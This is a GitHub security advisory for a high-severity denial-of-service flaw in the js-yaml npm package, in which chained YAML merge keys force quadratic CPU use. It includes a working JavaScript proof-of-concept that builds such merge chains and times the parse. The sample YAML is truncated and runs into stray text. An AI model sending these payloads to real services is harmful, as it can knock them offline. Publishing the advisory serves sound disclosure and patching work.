GitHub Advisoryadvisory · npm
GHSA-52cp-r559-cp3m js-yaml: YAML merge-key chains can force quadratic CPU consumption
HIGH
Official page ↗
- Aliases
- CVE-2026-59869
- Ecosystem
- npm
- Packages
- js-yaml
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Weaknesses
- CWE-400, CWE-407
- Reviewed
- 2026-07-20
Affected packages
• npm js-yaml: >= 3.0.0, < 3.15.0 → fixed in 3.15.0
• npm js-yaml: >= 4.0.0, < 4.3.0 → fixed in 4.3.0
Description
Impact
js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one:
```yaml
a0: &a0 { k0: 0 }
a1: &a1 { 1s (doc size < 100K)
```js
import { performance } from 'node:perf_hooks'
import { Buffer } from 'node:buffer'
import { load, YAML11_SCHEMA } from 'js-yaml'
const n = Number(process.argv[2] || 4000)
function makeMergeChain (count) {
const lines = ['a0: &a0 { k0: 0 }']
for (let i = 1; i < count; i++) {
lines.push(`a${i}: &a${i} { <<: *a${i - 1}, k${i}: ${i} }`)
}
lines.push(`b: *a${count - 1}`)
return `${lines.join('\n')}\n`
}
const source = makeMergeChain(n)
console.log(source.split('\n').slice(0, 8).join('\n'))
console.log('...')
console.log(source.split('\n').slice(-4).join('\n'))
console.log()
console.log(`N: ${n}`)
console.log(`YAML size: ${Buffer.byteLength(source)} bytes`)
const started = performance.now()
const result = load(source, { schema: YAML11_SCHEMA })
const elapsed = performance.now() - started
console.log(`parse time: ${elapsed.toFixed(1)} ms`)
console.log(`top-level keys: ${Object.keys(result).length}`)
console.log(`b keys: ${Object.keys(result.b).length}`)
```
Patches
Fix released. The most robust protection is to limit the total number of merged keys per parse call. This should close all past and future edge cases with merge. The default 10K-key limit should be okay in most cases.
Related
Alias · CVE (1)
- CVE-2026-59869 js-yaml is a JavaScript YAML parser and dumper. vulnerability
References
- https://github.com/nodeca/js-yaml/security/advisories/GHSA-52cp-r559-cp3m web
- https://nvd.nist.gov/vuln/detail/CVE-2026-59869 advisory
- https://github.com/nodeca/js-yaml/commit/24f13e79ee1343a7e30bd6f6c9d9cdbf0ac9b2b7 web
- https://github.com/nodeca/js-yaml/commit/59423c6f8cdc78742ac00e25a4dd39ef16b702e4 web
- https://github.com/nodeca/js-yaml package
- https://github.com/nodeca/js-yaml/releases/tag/3.15.0 web
- https://github.com/nodeca/js-yaml/releases/tag/4.3.0 web